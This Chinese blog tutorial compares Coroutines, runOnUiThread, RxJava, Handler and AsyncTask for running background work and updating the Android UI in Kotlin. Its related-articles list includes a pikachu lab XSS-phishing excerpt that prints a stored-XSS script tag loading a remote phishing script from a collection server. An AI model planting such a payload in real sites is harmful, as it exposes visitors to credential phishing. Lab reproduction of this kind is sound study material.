当前位置: 首页 > news >正文

[Android]在后台线程执行耗时操作,然后在主线程更新UI

1.Coroutines(官方推荐)

Coroutines 提供了一种轻量级的线程管理方式,使得在后台线程执行任务和在主线程更新 UI 变得简单。以下是如何在 Kotlin 中使用 Coroutines 来处理耗时逻辑并更新 UI 的步骤:

添加 Coroutines 依赖:

首先,确保你的 Android 项目中包含了 Coroutines 的依赖。在你的 build.gradle 文件中添加:

implementation("org.jetbrains.kotlinx:kotlinx-coroutines-core:1.8.1")
implementation("org.jetbrains.kotlinx:kotlinx-coroutines-android:1.8.1")

版本查询:Maven Central

使用 CoroutineScope 启动协程:

你可以在 Activity 或 Fragment 中通过定义一个 CoroutineScope 来启动协程。通常,在 Android 中,我们使用 lifecycleScope (对于 Activities 和 Fragments)或 viewModelScope (在 ViewModel 中)来自动管理协程的生命周期。

import kotlinx.coroutines.*class MyActivity : AppCompatActivity() {override fun onCreate(savedInstanceState: Bundle?) {super.onCreate(savedInstanceState)setContentView(R.layout.activity_my)lifecycleScope.launch {performLongRunningTask()}}private suspend fun performLongRunningTask() {// 运行在后台线程withContext(Dispatchers.IO) {// 模拟耗时操作Thread.sleep(2000)// 计算或数据处理}// 更新 UI 必须在主线程执行withContext(Dispatchers.Main) {// 更新 UI 组件findViewById<TextView>(R.id.textView).text = "Update completed"}}
}

在这个例子中,performLongRunningTask 函数使用 withContext(Dispatchers.IO) 来指定代码块应该在 IO 调度器(通常用于磁盘和网络操作的线程池)上运行。耗时操作完成后,使用 withContext(Dispatchers.Main) 切换回主线程来更新 UI。

2.runOnUiThread

runOnUiThread 是 Activity 类中的一个方法,它被用来确保一段代码块在主线程(也称为 UI 线程)上执行。这是处理 UI 更新的一种常见方法,特别是当你在后台线程中完成一些处理,并需要将结果安全地更新到 UI 上时。

使用示例:

class MyActivity : AppCompatActivity() {override fun onCreate(savedInstanceState: Bundle?) {super.onCreate(savedInstanceState)setContentView(R.layout.activity_my)Thread {// 执行一些耗时的任务val result = performLongRunningTask()// 现在需要更新UIrunOnUiThread {// 这部分代码在主线程执行,可以安全地更新UIfindViewById<TextView>(R.id.textView).text = result}}.start()}private fun performLongRunningTask(): String {// 模拟耗时操作Thread.sleep(2000)return "Operation Completed"}
}

工作机制:

  • 当你从非 UI 线程调用 runOnUiThread 方法时,它将传入的 Runnable 对象排队到主线程的消息队列中。主线程将在处理其他 UI 任务时,按顺序处理这些消息。

  • 如果 runOnUiThread 是在主线程本身调用的,那么 Runnable 将被立即执行。

使用场景和注意事项:

使用场景

当你在后台线程中完成任务后需要在 UI 上显示结果时,可以使用 runOnUiThread。例如,在网络请求完成后更新界面。

注意事项

保证只在需要修改 UI 的时候使用 runOnUiThread,避免在主线程上执行耗时的操作,这样可以避免界面卡顿。

虽然 runOnUiThread 是一个方便的工具,但在处理复杂的异步逻辑时,使用 Kotlin Coroutines 或 RxJava 可能是更好的选择,因为它们提供了更好的控制机制和错误处理能力。

3.RxJava

RxJava 是一个在 Java VM 上使用可观测序列来组成异步和基于事件的程序的库,它非常适合用于复杂的线程操作和数据流处理。

import io.reactivex.rxjava3.android.schedulers.AndroidSchedulers
import io.reactivex.rxjava3.core.Observable
import io.reactivex.rxjava3.schedulers.SchedulersObservable.fromCallable {// 在后台线程执行耗时操作Thread.sleep(2000)"Operation Completed"
}
.subscribeOn(Schedulers.io())  // 指定上游操作在 IO 线程
.observeOn(AndroidSchedulers.mainThread())  // 指定下游操作在主线程
.subscribe { result ->textView.text = result  // 更新 UI
}

4.Handler

Handler 是 Android 中处理线程间通信的一种方式,尤其适用于从后台线程发送数据到主线程。

val handler = Handler(Looper.getMainLooper())Thread {// 执行耗时操作Thread.sleep(2000)  // 模拟耗时操作val message = "Operation Completed"// 使用 Handler 切回主线程handler.post {textView.text = message}
}.start()

5.AsyncTask(deprecated)

AsyncTask 是 Android 提供的一个抽象类,用于处理后台任务并在主线程上发布结果。不过,需要注意的是,从 Android API level 30 开始,AsyncTask 已被标记为过时(deprecated),因为它不推荐用于现代 Android 开发。尽管如此,了解它的使用仍然对理解 Android 异步编程模型有帮助。

class MyAsyncTask(private val textView: TextView) : AsyncTask<Void, Void, String>() {override fun doInBackground(vararg params: Void?): String {// 在后台线程执行耗时操作Thread.sleep(2000)  // 模拟耗时操作return "Operation Completed"}override fun onPostExecute(result: String) {// 在主线程更新 UItextView.text = result}
}// 在 Activity 或 Fragment 中使用
MyAsyncTask(textView).execute()

相关文章:

[Android]在后台线程执行耗时操作,然后在主线程更新UI

1.Coroutines&#xff08;官方推荐&#xff09; Coroutines 提供了一种轻量级的线程管理方式&#xff0c;使得在后台线程执行任务和在主线程更新 UI 变得简单。以下是如何在 Kotlin 中使用 Coroutines 来处理耗时逻辑并更新 UI 的步骤&#xff1a; 添加 Coroutines 依赖: 首…...

平方回文数-第13届蓝桥杯选拔赛Python真题精选

[导读]&#xff1a;超平老师的Scratch蓝桥杯真题解读系列在推出之后&#xff0c;受到了广大老师和家长的好评&#xff0c;非常感谢各位的认可和厚爱。作为回馈&#xff0c;超平老师计划推出《Python蓝桥杯真题解析100讲》&#xff0c;这是解读系列的第73讲。 平方回文数&#…...

位置编码(三) 2D旋转位置编码

Rotary Position Embedding for Vision Transformer https://arxiv.org/abs/2403.13298 Transformer升级之路&#xff1a;4、二维位置的旋转式位置编码 https://kexue.fm/archives/8397 Transformer升级之路&#xff1a;17、多模态位置编码的简单思考 https://kexue.fm/archive…...

1、pikachu靶场之xss钓鱼复现

一、复现过程 1、payload <script src"http://127.0.0.1/pkxss/xfish/fish.php"></script> 将这段代码插入到含有储存xss的网页上&#xff0c;如下留言板 2、此时恶意代码已经存入数据库&#xff0c;并存在网页中&#xff0c;当另一个用户打开这个网页…...

弘君资本炒股技巧:股票定向增发是什么意思?是好是坏?

股票定向增发是指已上市的公司向指定的组织或者个人投资者额外发行股份募集资金的融资方法&#xff0c;发行价格为发行前某一阶段的平均价的必定比例&#xff0c;增发的价格不得低于前二十个买卖日股票均价的80&#xff05;。 例如&#xff0c;个股定增前二十个买卖股票平均价为…...

vue3项目使用pinia状态管理器----通俗易懂

1、首先安装pinia yarn add pinia # 或使用npm npm install pinia 2、在项目的src目录下新建store文件夹&#xff0c;然后store目录下新建index.js / index.ts &#xff1a; 我这里是index,js import { createPinia } from "pinia"// 创建 Pinia 实例 const pinia …...

零基础学Java第二十五天之Lambda表达式

Lambda表达式 简介 Lambda是一个匿名函数(方法)&#xff0c; 允许把函数作为一个方法的参数 。利用Lambda表达式可以写出更简洁、更灵活的代码。作为一种更紧凑的代码风格&#xff0c;使Java的语言表达能力得到了提升。一般都是优化匿名内部类 基础语法 无参数、无返回值的抽…...

VSCode配置Lua5.4安装

参考&#xff1a;VSCode 配置 Lua 开发环境(清晰明了)_lua vscode-CSDN博客 1.下载 Lua Binaries Download (sourceforge.net) 2.配置环境变量 解压放到某文件夹&#xff1a; 环境变量&#xff1a; 3.VSCode安装插件 4.配置 5.测试...

CI/CD:持续集成/持续部署

1. 安装docker、docker-compose # 安装Docker yum install -y yum-utils device-mapper-persistent-data lvm2 yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo sed -i sdownload.docker.commirrors.aliyun.com/docker-ce /…...

ComfyUI工作流网站

https://openart.ai/home https://comfyworkflows.com/ https://civitai.com/...

【机器学习】机器学习基础概念与初步探索

❀机器学习 &#x1f4d2;1. 引言&#x1f4d2;2. 机器学习概述&#x1f4d2;3. 机器学习基础概念&#x1f389;2.1 机器学习的分类&#x1f389;2.2 数据预处理&#x1f308;数据清洗与整合&#x1f308; 特征选择和特征工程&#x1f308;数据标准化与归一化 &#x1f4d2;4. …...

学英语材料:单口喜剧、讲故事、短剧喜剧以及广播剧和播客节目

学习英语节目 有名的单口喜剧、讲故事、短剧喜剧以及广播剧和播客节目&#xff1a; 单口喜剧&#xff08;Stand-up Comedy&#xff09; 描述&#xff1a;这是最接近相声的形式&#xff0c;表演者独自一人站在舞台上&#xff0c;用幽默的方式讲述个人经历、观察到的社会现象或…...

Docker Compose使用

Docker-Compose是什么 docker建议我们每一个容器中只运行一个服务,因为doker容器本身占用资源极少&#xff0c;所以最好是将每个服务单独分割开来&#xff0c;但是这样我们又面临了一个问题&#xff1a; 如果我需要同时部署好多个服务&#xff0c;难道要每个服务单独写Docker…...

如何优雅的卸载linux上的todesk

要优雅地卸载Linux上的ToDesk&#xff0c;您可以按照以下步骤操作&#xff1a; 打开终端。 输入以下命令来停止ToDesk服务&#xff08;如果它正在运行的话&#xff09;&#xff1a; sudo systemctl stop todesk 然后&#xff0c;使用包管理器卸载ToDesk。如果您使用的是apt&…...

【Vue】el-checkbox多选框实现单选效果,选中一个选项则自动取消其他勾选

&#x1f935; 作者&#xff1a;coderYYY &#x1f9d1; 个人简介&#xff1a;前端程序媛&#xff0c;目前主攻web前端&#xff0c;后端辅助&#xff0c;其他技术知识也会偶尔分享&#x1f340;欢迎和我一起交流&#xff01;&#x1f680;&#xff08;评论和私信一般会回&#…...

Linux中使用vi编辑器自动缩进4个字符

平常在Linux操作系统下书写shell脚本内容&#xff0c;或是把写好的shell内容直接复制到vi编辑器中&#xff0c;本来缩进好的字符&#xff0c;会自动变乱&#xff0c;这是因为Linux的vi编辑器默认是缩进8个字符造成&#xff0c;可以使用下面2个方法解决该问题的发生。 1、本用户…...

#笔记#笔记#其他

大鱼论文是一款非常靠谱、方便、值得推荐的论文写作工具。无论是在学术研究中还是在日常写作中&#xff0c;大鱼论文都能够帮助用户轻松完成论文的写作工作。 首先&#xff0c;大鱼论文提供了强大的查重降重功能&#xff0c;能够帮助用户快速定位论文中可能存在的抄袭问题&…...

gtask笔记

1、创建Task GTask *g_task_new (gpointer source_object, GCancellable *cancellable, GAsyncReadyCallback callback, gpointer callback_data); source_object&#xff1a;GObject对象&#xff0c;拥有者 cancellable&#xff1a;可否取消 callback&#xff1a;task完成后…...

【Linux学习】深入探索进程等待与进程退出码和退出信号

文章目录 退出码return退出 进程的等待进程等待的方法 退出码 main函数的返回值&#xff1a;进程的退出码。 一般为0表示成功&#xff0c;非0表示失败。 每一个非0退出码都表示一个失败的原因&#xff1b; echo $&#xff1f;命令 作用&#xff1a;查看进程退出码。&#xf…...

Linux:线程

文章目录 前言1. 线程概念1.1 什么是线程1.2 线程比进程更加轻量化1.3 虚拟地址到物理地址的转化物理内存的管理页表 1.4 线程的优点1.5 线程的缺点1.6 线程异常1.7 线程用途 2. 进程 vs 线程3. 线程控制3.1 线程创建3.2 线程退出3.3 线程等待3.4 分离线程3.5 线程取消 4. 线程…...

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…...

椭圆曲线密码学(ECC)

一、ECC算法概述 椭圆曲线密码学&#xff08;Elliptic Curve Cryptography&#xff09;是基于椭圆曲线数学理论的公钥密码系统&#xff0c;由Neal Koblitz和Victor Miller在1985年独立提出。相比RSA&#xff0c;ECC在相同安全强度下密钥更短&#xff08;256位ECC ≈ 3072位RSA…...

树莓派超全系列教程文档--(62)使用rpicam-app通过网络流式传输视频

使用rpicam-app通过网络流式传输视频 使用 rpicam-app 通过网络流式传输视频UDPTCPRTSPlibavGStreamerRTPlibcamerasrc GStreamer 元素 文章来源&#xff1a; http://raspberry.dns8844.cn/documentation 原文网址 使用 rpicam-app 通过网络流式传输视频 本节介绍来自 rpica…...

Day131 | 灵神 | 回溯算法 | 子集型 子集

Day131 | 灵神 | 回溯算法 | 子集型 子集 78.子集 78. 子集 - 力扣&#xff08;LeetCode&#xff09; 思路&#xff1a; 笔者写过很多次这道题了&#xff0c;不想写题解了&#xff0c;大家看灵神讲解吧 回溯算法套路①子集型回溯【基础算法精讲 14】_哔哩哔哩_bilibili 完…...

UDP(Echoserver)

网络命令 Ping 命令 检测网络是否连通 使用方法: ping -c 次数 网址ping -c 3 www.baidu.comnetstat 命令 netstat 是一个用来查看网络状态的重要工具. 语法&#xff1a;netstat [选项] 功能&#xff1a;查看网络状态 常用选项&#xff1a; n 拒绝显示别名&#…...

《通信之道——从微积分到 5G》读书总结

第1章 绪 论 1.1 这是一本什么样的书 通信技术&#xff0c;说到底就是数学。 那些最基础、最本质的部分。 1.2 什么是通信 通信 发送方 接收方 承载信息的信号 解调出其中承载的信息 信息在发送方那里被加工成信号&#xff08;调制&#xff09; 把信息从信号中抽取出来&am…...

linux 错误码总结

1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...

Python爬虫(二):爬虫完整流程

爬虫完整流程详解&#xff08;7大核心步骤实战技巧&#xff09; 一、爬虫完整工作流程 以下是爬虫开发的完整流程&#xff0c;我将结合具体技术点和实战经验展开说明&#xff1a; 1. 目标分析与前期准备 网站技术分析&#xff1a; 使用浏览器开发者工具&#xff08;F12&…...

NXP S32K146 T-Box 携手 SD NAND(贴片式TF卡):驱动汽车智能革新的黄金组合

在汽车智能化的汹涌浪潮中&#xff0c;车辆不再仅仅是传统的交通工具&#xff0c;而是逐步演变为高度智能的移动终端。这一转变的核心支撑&#xff0c;来自于车内关键技术的深度融合与协同创新。车载远程信息处理盒&#xff08;T-Box&#xff09;方案&#xff1a;NXP S32K146 与…...

【Redis】笔记|第8节|大厂高并发缓存架构实战与优化

缓存架构 代码结构 代码详情 功能点&#xff1a; 多级缓存&#xff0c;先查本地缓存&#xff0c;再查Redis&#xff0c;最后才查数据库热点数据重建逻辑使用分布式锁&#xff0c;二次查询更新缓存采用读写锁提升性能采用Redis的发布订阅机制通知所有实例更新本地缓存适用读多…...